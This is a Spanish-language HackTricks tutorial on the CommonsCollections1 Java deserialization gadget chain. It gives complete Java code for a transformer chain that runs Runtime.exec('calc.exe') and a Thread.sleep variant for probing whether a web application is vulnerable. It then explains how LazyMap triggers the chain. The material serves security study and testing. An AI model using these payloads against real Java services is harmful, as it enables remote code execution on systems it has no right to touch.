# Payload de CommonsCollection1 - Java Transformers a Rutime exec() y Thread Sleep
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Java Transformers a Rutime exec() En varios lugares puedes encontrar un payload de deserialización de Java que utiliza transformers de Apache common collections como el siguiente: ```java import org.apache.commons.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.util.Map; import java.util.HashMap; public class CommonsCollections1PayloadOnly { public static void main(String... args) { String[] command = {"calc.exe"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), //(1) new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), //(2) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), //(3) new InvokerTransformer("exec", new Class[]{String.class}, command ) //(4) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); //Execute gadgets lazyMap.get("anything"); } } ``` Si no sabes nada sobre cargas útiles de deserialización de Java, puede ser difícil entender por qué este código ejecutará una calculadora. En primer lugar, debes saber que un **Transformer en Java** es algo que **recibe una clase** y la **transforma en otra diferente**.\ También es interesante saber que la **carga útil** que se está **ejecutando** aquí es **equivalente** a: ```java Runtime.getRuntime().exec(new String[]{"calc.exe"}); ``` O **más exactamente**, lo que se ejecutará al final sería: ```java ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ``` ### Cómo Entonces, ¿cómo es que el primer payload presentado es equivalente a esos "simples" one-liners? En primer lugar, se puede observar en el payload que se crea una **cadena (array) de transformaciones**: ```java String[] command = {"calc.exe"}; final Transformer[] transformers = new Transformer[]{ //(1) - Get gadget Class (from Runtime class) new ConstantTransformer(Runtime.class), //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime" new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), //(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), //(4) - Use the Runtime object to call exec with arbitrary commands new InvokerTransformer("exec", new Class[]{String.class}, command ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); ``` Si lees el código, notarás que si encadenas de alguna manera la transformación del array, podrías ser capaz de ejecutar comandos arbitrarios. Entonces, **¿cómo se encadenan esas transformaciones?** ```java Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("anything"); ``` En la última sección del payload se puede ver que se crea un **objeto Map**. Luego, se ejecuta la función `decorate` de `LazyMap` con el objeto map y los transformers encadenados. A partir del siguiente código se puede ver que esto hará que los **transformers encadenados** sean copiados dentro del atributo `lazyMap.factory`: ```java protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; } ``` Y luego se ejecuta el gran final: `lazyMap.get("anything");` Este es el código de la función `get`: ```java public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } ``` Y este es el código de la función `transform`: ```java public Object transform(Object o) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return new Object(); } ``` ```java public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ``` Recuerda que dentro de **factory** habíamos guardado **`chainedTransformer`** y dentro de la función **`transform`** estamos **recorriendo todos esos transformers encadenados** y ejecutándolos uno tras otro. Lo curioso es que **cada transformer está utilizando `object` como entrada** y **el objeto es la salida del último transformer ejecutado**. Por lo tanto, **todos los transformadores están encadenados ejecutando la carga útil maliciosa**. ### Resumen Al final, debido a cómo lazyMap maneja los transformers encadenados dentro del método get, es como si estuviéramos ejecutando el siguiente código: ```java Object value = "someting"; value = new ConstantTransformer(Runtime.class).transform(value); //(1) value = new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", null} ).transform(value); //(2) value = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ).transform(value); //(3) value = new InvokerTransformer("exec", new Class[]{String.class}, command ).transform(value); //(4) ``` _Nota cómo `value` es la entrada de cada transformación y la salida de la transformación anterior, lo que permite la ejecución de un comando en una sola línea:_ ```java ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ``` Se explicaron los gadgets utilizados para el payload ComonsCollections1. Pero no se explicó cómo se inicia la ejecución. Puede ver aquí que ysoserial, para ejecutar este payload, utiliza un objeto AnnotationInvocationHandler porque cuando este objeto se deserializa, invocará la función payload.get() que ejecutará todo el payload. ## Java Thread Sleep Este payload podría ser útil para identificar si la web es vulnerable, ya que ejecutará un sleep si lo es. ```java import org.apache.commons.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.net.URL; import java.util.Map; import java.util.HashMap; public class CommonsCollections1Sleep { public static void main(String... args) { final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class }, new Object[]{ "sleep", new Class[]{Long.TYPE} }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class }, new Object[] { null, new Object[] {7000L} }), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); //Execute gadgets lazyMap.get("anything"); } } ``` ## Más Gadgets Puedes encontrar más gadgets aquí: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) ##
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.